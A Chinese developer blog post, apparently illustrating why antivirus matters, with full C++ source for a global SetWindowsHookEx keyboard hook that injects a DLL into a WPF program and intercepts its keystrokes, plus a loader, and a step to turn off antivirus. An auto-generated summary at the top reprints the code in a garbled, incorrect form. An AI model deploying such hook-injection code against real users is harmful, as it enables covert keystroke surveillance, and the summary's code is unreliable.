聊一聊 WPF 程序的键盘是如何被窃听的?

wpf,程序,键盘,如何,窃听 · 浏览次数 : 502

小编点评

**背景** * 之前的讨论讨论了安装杀毒软件的安全性,因为一些杀毒软件可能成为恶意代码的载体。 * 这篇文章将介绍如何使用恶意代码窃听键盘事件并通过消息钩子将其处理。 **代码实现** 1. 创建 WpfApp1.exe 程序,截图并分析代码逻辑。 2. 创建 C++ 的动态链接库项目,用于实现窃听功能。 3. 将恶意代码动态加载到 WpfApp1.exe 中。 4. 在消息传递链路上安装消息钩子,监控 WPF 程序的键盘事件。 5. 当收到键盘事件时,获取事件类型和按键值,并通过MessageBox显示字符的ascii码。 **代码结构** ```c++ // MyHook.dll #include HINSTANCE myhookModule; HHOOK g_hHook; LRESULT CALLBACK MyKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) { char szPath[MAX_PATH] = {}; if (nCode == 0 && !(lParam & 0x80000000)) { GetModuleFileNameA(NULL, szPath, MAX_PATH); char* p = strrchr(szPath, '\\\\'); if (_stricmp(p + 1, "WpfApp1.exe")) { MessageBox(NULL, L"您的按键:", L"友情提示", 1); } } return CallNextHookEx(g_hHook, nCode, wParam, lParam); } // MyHookMain.exe #include #include #include #include HMODULE hDll; MY_HOOKSTART hookStart; void HookStart() { hDll = LoadLibrary("MyHook.dll"); hookStart = (MY_HOOKSTART)GetProcAddress(hDll, "HookStart"); } void HookStop() { if (g_hHook) { UnhookWindowsHookEx(g_hHook); g_hHook = NULL; } } int main() { hookStart(); printf("hookStart 已成功启动!\n"); // 程序运行到此处,然后关闭窗口,结束进程 return 0; } ``` **总结** * 代码展示了如何使用恶意代码窃听键盘事件并通过消息钩子将其处理。 * 恶意代码首先动态加载到 WpfApp1.exe 中,然后安装消息钩子,监控 WPF 程序的键盘事件。 * 当收到键盘事件时,恶意代码提取程序名并通过MessageBox显示字符的ascii码。 * 代码也展示了如何使用动态链接库实现恶意代码的注入。

正文

一:背景

1.讲故事

前几天群里很热闹,看了下在争论两个问题:

  • 电脑里要不要装杀毒软件 ?

  • 应该装什么杀毒软件 ?

不管杀毒软件流氓不流氓,在如今病毒肆虐的当下互联网,装一个还是能帮我们拦截很多意想不到的东西,为了眼见为实,这一篇我们就聊一个窃听 键盘事件 的恶意代码。

2. 思路

实现思路非常简单,一旦某个程序触发了键盘事件,就给目标程序注入一个 dll,在这个 dll 中来实现窃听的业务逻辑,简而言之就是在 OS -> WPF 的消息传递链路上安装一个 消息钩子

二:键盘窃听

1. 新建 WPF 程序

要截获 WPF 的键盘事件,首先得新建一个 WpfApp1.exe 程序,放一个文本框,等一会我们要窃听它,截图如下:

2. 注入进程的 MyHook.dll

新建一个 C++ 的动态链接库项目,取名 MyHook.dll,这个 dll 是用于动态注入到 WpfApp1 中做窃听的,参考代码如下:


#include "pch.h"

#include "stdio.h"
#include "windows.h"
#include <string>

using namespace std;

HINSTANCE myhookModule = NULL;
HHOOK g_hHook = NULL;

BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved) {

	switch (ul_reason_for_call)
	{
	case DLL_PROCESS_ATTACH:myhookModule = hModule;  break;
	}
	return TRUE;
}

LRESULT CALLBACK MyKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {

	char szPath[MAX_PATH] = {};

	if (nCode == 0 && !(lParam & 0x80000000)) {

		//1. 提取程序名
		GetModuleFileNameA(NULL, szPath, MAX_PATH);
		char* p = strrchr(szPath, '\\');

		//2. 监控 WpfApp1.exe
		if (!_stricmp(p + 1, "WpfApp1.exe")) {
			wstring content = L"您的按键:" + to_wstring(toascii(wParam));
			MessageBox(NULL, content.c_str(), L"友情提示", 1);
		}

	}
	return CallNextHookEx(g_hHook, nCode, wParam, lParam);
}

extern "C" {
	__declspec(dllexport) void HookStart() {
		g_hHook = SetWindowsHookEx(WH_KEYBOARD, MyKeyboardProc, myhookModule, 0);
	}

	__declspec(dllexport) void HookStop() {
		if (g_hHook) {
			UnhookWindowsHookEx(g_hHook);
			g_hHook = NULL;
		}
	}
}



代码逻辑很简单,大概分三块:

  1. SetWindowsHookEx

在 Win32Api 中提供了一个叫 SetWindowsHookEx 函数用来设置消息钩子,从方法参数中可以看到,可以指定对某一类消息进行监听,并且还能触发相应的回调函数,比如这里的 MyKeyboardProc,消息类型参考如下:


#define WH_MIN              (-1)
#define WH_MSGFILTER        (-1)
#define WH_JOURNALRECORD    0
#define WH_JOURNALPLAYBACK  1
#define WH_KEYBOARD         2
#define WH_GETMESSAGE       3
#define WH_CALLWNDPROC      4
#define WH_CBT              5
#define WH_SYSMSGFILTER     6
#define WH_MOUSE            7
...

最后通过 C 的方式导出 HookStartHookStop 函数,方便宿主提前启动。

  1. MyKeyboardProc

这个是具体的回调函数,逻辑很简单,就是对 WpfApp1.exe 程序的键盘事件的触发提前处理,其他程序触发的事件我们不需要处理,最后通过 MessageBox 的方式将输入的键值以 ascii 码的方式打印出来。

  1. DllMain

这个是 DLL 的入口函数,和 exe 的 Main 的作用是一致的,我们在dll被加载的时候,记录下 module 的实例,方便操作系统将这个 module 注入到其他进程中。

3. MyHook 的宿主 MyHookMain.exe

接下来新建一个名为 MyHookMain.exe 的 C++ 程序,目的就是调用 HookStart 函数,参考如下代码:


#include <iostream>
#include "stdio.h"
#include "conio.h"
#include "Windows.h"

typedef void(*MY_HOOKSTART)();

int main()
{
	HMODULE hDll = LoadLibrary(L"MyHook.dll");

	MY_HOOKSTART hookStart = (MY_HOOKSTART)GetProcAddress(hDll, "HookStart");

	hookStart();

	printf("hookStart 已成功启动!");

	getchar();

	FreeLibrary(hDll);
}

接下来把程序跑起来,如果正常就启用了消息挂钩,截图如下:

4. 演示

所有工作准备好之后,接下来把杀毒软件关掉,对,就是杀毒软件,然后打开 WpfApp1.exe 程序,随便输入一个字符,马上就能看到该字符的 ascii 码,截图如下:

既然有弹框,肯定是走了 MyKeyboardProc 逻辑,那怎么验证呢?可以用 Process Explorer 工具看一下 WpfApp1.exe 中有没有注入 MyHook.dll 就可以了。

太棒了,真的注入进去了,如果你开启杀毒软件,或者某些卫士,你会发现 SetWindowsHookEx 函数不起作用了, MyHook.dll 也不会注入到进程中。

三:总结

这个例子很好的告诉了我们,恶意程序无处不在,防不胜防,如果你的系统真的放在裸机下跑,总会有中招的时候,所以杀毒该装的还得装。

图片名称

与聊一聊 WPF 程序的键盘是如何被窃听的?相似的内容:

聊一聊 WPF 程序的键盘是如何被窃听的?

一:背景 1.讲故事 前几天群里很热闹,看了下在争论两个问题: 电脑里要不要装杀毒软件 ? 应该装什么杀毒软件 ? 不管杀毒软件流氓不流氓,在如今病毒肆虐的当下互联网,装一个还是能帮我们拦截很多意想不到的东西,为了眼见为实,这一篇我们就聊一个窃听 键盘事件 的恶意代码。 2. 思路 实现思路非常简单

聊一聊领域驱动与贫血模型

写在前面 前段时间跟领导讨论技术债概念时不可避免地提到了代码的质量,而影响代码质量的因素向来都不是单一的,诸如项目因素、管理因素、技术选型、人员素质等等,因为是技术债务,自然就从技术角度来分析,单纯从技术角度来看代码质量,其实又细分很多原因,如代码设计、代码规范、编程技巧等等,但我个人觉得这些都是技

聊一聊 C# 弱引用 底层是怎么玩的

一:背景 1. 讲故事 最近在分析dump时,发现有程序的卡死和WeakReference有关,在以前只知道怎么用,但不清楚底层逻辑走向是什么样的,借着这个dump的契机来简单研究下。 二:弱引用的玩法 1. 一些基础概念 用过WeakReference的朋友都知道这里面又可以分为弱短和弱长两个概念

聊一聊 Monitor.Wait 和 Pluse 的底层玩法

一:背景 1. 讲故事 在dump分析的过程中经常会看到很多线程卡在Monitor.Wait方法上,曾经也有不少人问我为什么用 !syncblk 看不到 Monitor.Wait 上的锁信息,刚好昨天有时间我就来研究一下。 二:Monitor.Wait 底层怎么玩的 1. 案例演示 为了方便讲述,先

聊一聊Java中的Steam流

在我们的日常编程任务中,对于集合的制造和处理是必不可少的。当我们需要对于集合进行分组或查找的操作时,需要用迭代器对于集合进行操作,而当我们需要处理的数据量很大的时候,为了提高性能,就需要使用到并行处理,这样的处理方式是很复杂的。流可以帮助开发者节约宝贵的时间,让以上的事情变得轻松。

聊一聊 TLS/SSL

哈喽大家好,我是咸鱼 当我们在上网冲浪的时候,会在浏览器界面顶部看到一个小锁标志,或者网址以 "https://" 开头 这意味着我们正在使用 TLS/SSL 协议进行安全通信。虽然它可能看起来只是一个小小的锁图标和一个 “https” ,但实际上,这个协议在保护我们的在线隐私和安全方面扮演着至关重

聊一聊被 .NET程序员 遗忘的 COM 组件

一:背景 1.讲故事 最近遇到了好几起和 COM 相关的Dump,由于对 COM 整体运作不是很了解,所以分析此类dump还是比较头疼的,比如下面这个经典的 COM 调用栈。 0:044> ~~[138c]s win32u!NtUserMessageCall+0x14: 00007ffc`5c891

聊一聊对一个 C# 商业程序的反反调试

一:背景 1.讲故事 前段时间有位朋友在微信上找到我,说他对一个商业的 C# 程序用 WinDbg 附加不上去,每次附加之后那个 C# 程序就自动退出了,问一下到底是怎么回事?是不是哪里搞错了,有经验的朋友应该知道,其实这是 商业程序 的反调试机制捣鬼的,为了保护程序隐私,一般都不希望他人对自己做逆

聊一聊如何截获 C# 程序产生的日志

一:背景 1.讲故事 前段时间分析了一个dump,一顿操作之后,我希望用外力来阻止程序内部对某一个com组件的调用,对,就是想借助外力实现,如果用 windbg 的话,可以说非常轻松,但现实情况比较复杂,客户机没有windbg,也不想加入任何的手工配置,希望全自动化来处理。 真的很无理哈。。。不过这

聊一聊 SQLSERVER 的行不能跨页

一:背景 1. 讲故事 相信有很多朋友在学习 SQLSERVER 的时候都听说过这句话,但大多都是记忆为主,最近在研究 SQLSERVER,所以我们从 底层存储 的角度来深入理解下。 二:理解数据页 1. 数据页的组织 在前面的文章中我也说过,一个 数据页 是 8k 大小,那这 8k 是如何组织的呢